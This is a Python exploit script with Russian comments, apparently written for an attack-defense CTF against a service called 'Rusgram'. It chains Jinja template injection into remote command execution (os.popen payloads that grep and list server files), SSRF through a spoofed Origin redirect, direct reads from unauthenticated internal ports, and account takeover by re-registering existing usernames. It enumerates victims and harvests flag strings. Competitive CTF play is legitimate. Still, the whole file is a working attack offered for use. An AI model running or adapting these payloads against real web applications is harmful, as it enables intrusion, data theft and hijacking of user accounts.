#!/bin/python3 """ Rusgram — комбинированный сплойт (все 4 вектора). Порядок: V1 (RCE) → V3 (SSRF) → V4 (прямой database) → V5 (прямой content) → V2 (ATO). Векторы независимы: если противник запатчил один, остальные продолжают работать. Запуск: ./start_sploit.py rusgram_sploit.py """ import sys import re import random import string import requests FLAG_RX = re.compile(r"[A-Z0-9]{31}=") TIMEOUT = 6 PROXY_PORT = 38000 STATIC_PORT = 38001 DB_PORT = 38002 LOGIC_PORT = 38003 CONTENT_PORT = 38004 def rnd(n=8): return "".join(random.choices(string.ascii_lowercase, k=n)) def log(msg): print(f"[*] {msg}", file=sys.stderr, flush=True) # -------------------------------------------------------------------------- # V1: SSTI -> RCE. Имя юзера, оканчивающееся на .html, рендерится content'ом # как Jinja-шаблон. Payload кладём ДО первого рендера (Jinja кэширует шаблоны). # -------------------------------------------------------------------------- def v1_rce(ip, flags): base = f"http://{ip}:{PROXY_PORT}" user, pwd = f"{rnd()}.html", rnd() try: requests.post(f"{base}/api/register", json={"login": user, "password": pwd}, timeout=TIMEOUT) # grep -r сам обходит каталог: имена жертв знать не нужно payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" " "/app/files/db/').read() }}") requests.post(f"{base}/api/update_personal", json={"first_name": payload, "second_name": "x", "email": "x"}, cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT) r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT) found = set(FLAG_RX.findall(r.text)) flags |= found log(f"V1 (RCE) : {len(found)} flags") except requests.RequestException as e: log(f"V1 failed: {e}") # -------------------------------------------------------------------------- # V3: SSRF. logic редиректит на Origin+'/login.html', proxy идёт по редиректу # серверсайд. Работает даже если 38001-38004 закрыты фаерволом. # -------------------------------------------------------------------------- def v3_ssrf_read(ip, url_no_scheme, actor): """Читает внутренний URL глазами proxy. Хвост /login.html уводим в query. В куке ДОЛЖЕН быть реально существующий юзер с неверным паролем: на несуществующем logic падает в 500 (`.json()["data"]` по 404) и до редиректа дело не доходит. Поэтому используем свой же аккаунт. """ base = f"http://{ip}:{PROXY_PORT}" try: r = requests.post(f"{base}/api/send_msg", json={"msg": "x"}, cookies={"session": f"{actor}||WRONGPASS"}, headers={"Origin": f"{url_no_scheme}?x="}, timeout=TIMEOUT) return r.text except requests.RequestException: return "" def v3_ssrf(ip, flags, users): base = f"http://{ip}:{PROXY_PORT}" # свой аккаунт как «актор»: гарантированно существует -> logic отдаст 302 actor, pwd = rnd(10), rnd() try: requests.post(f"{base}/api/register", json={"login": actor, "password": pwd}, timeout=TIMEOUT) except requests.RequestException: log("V3 (SSRF) : setup failed") return found = set() for u in list(users)[:60]: for field in ("msg", "first_name", "second_name", "email"): body = v3_ssrf_read(ip, f"http://database:5002/users/{u}/{field}", actor) found |= set(FLAG_RX.findall(body)) flags |= found log(f"V3 (SSRF) : {len(found)} flags") # -------------------------------------------------------------------------- # V4: database опубликован на 38002 вообще без аутентификации. # -------------------------------------------------------------------------- def v4_database(ip, flags, users): d = f"http://{ip}:{DB_PORT}" found = set() for u in list(users)[:100]: for field in ("msg", "first_name", "second_name", "email"): try: r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT) found |= set(FLAG_RX.findall(r.text)) except requests.RequestException: pass flags |= found log(f"V4 (database) : {len(found)} flags") # -------------------------------------------------------------------------- # V5: content опубликован на 38004, рендерит файл юзера без требования .html. # -------------------------------------------------------------------------- def v5_content(ip, flags, users): c = f"http://{ip}:{CONTENT_PORT}" found = set() for u in list(users)[:100]: try: r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT) found |= set(FLAG_RX.findall(r.text)) except requests.RequestException: pass flags |= found log(f"V5 (content) : {len(found)} flags") # -------------------------------------------------------------------------- # V2: register перезаписывает пароль существующему юзеру, сохраняя его поля. # Самый «грязный» вектор (ломает жертве логин) — поэтому идёт последним. # -------------------------------------------------------------------------- def v2_ato(ip, flags, users): base = f"http://{ip}:{PROXY_PORT}" found = set() for u in list(users)[:40]: pwd = rnd(10) try: r = requests.post(f"{base}/api/register", json={"login": u, "password": pwd}, timeout=TIMEOUT) if r.status_code != 200: continue r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"}, timeout=TIMEOUT) found |= set(FLAG_RX.findall(r.text)) except requests.RequestException: pass flags |= found log(f"V2 (ATO) : {len(found)} flags") # -------------------------------------------------------------------------- # Энумерация имён пользователей — несколько независимых каналов. # -------------------------------------------------------------------------- def enum_users(ip): """Имена жертв: из комментариев к картинкам и из ls через RCE.""" users = set() # канал 1: database напрямую (38002) for i in range(1, 17): try: r = requests.get(f"http://{ip}:{DB_PORT}/images/{i}", timeout=TIMEOUT) for c in r.json()["data"]["comments"]: users.add(c[0]) except Exception: break # канал 2: RCE ls (работает, даже если внутренние порты закрыты) base = f"http://{ip}:{PROXY_PORT}" user, pwd = f"{rnd()}.html", rnd() try: requests.post(f"{base}/api/register", json={"login": user, "password": pwd}, timeout=TIMEOUT) # маркеры @@ — чтобы не собрать в список имён JSON-обвязку файла payload = ("{{ lipsum.__globals__.os.popen(" "'ls /app/files/db/users | sed \"s/^/@@/\"').read() }}") requests.post(f"{base}/api/update_personal", json={"first_name": payload, "second_name": "x", "email": "x"}, cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT) r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT) users |= set(re.findall(r"@@([\w.\-]+)", r.text)) except requests.RequestException: pass users.discard(".gitkeep") # свои же .html-аккаунты в список жертв не берём users = {u for u in users if u and not u.endswith(".html")} log(f"enumerated {len(users)} users") return users def exploit(target_ip): flags = set() # V1 не требует знания имён — бьём сразу v1_rce(target_ip, flags) users = enum_users(target_ip) if users: v4_database(target_ip, flags, users) v5_content(target_ip, flags, users) v3_ssrf(target_ip, flags, users) v2_ato(target_ip, flags, users) return flags def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) sys.exit(1) target_ip = sys.argv[1] try: found_flags = exploit(target_ip) or [] for flag in found_flags: clean_flag = str(flag).strip() if FLAG_RX.fullmatch(clean_flag): print(clean_flag, flush=True) except Exception as e: print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) if __name__ == "__main__": main()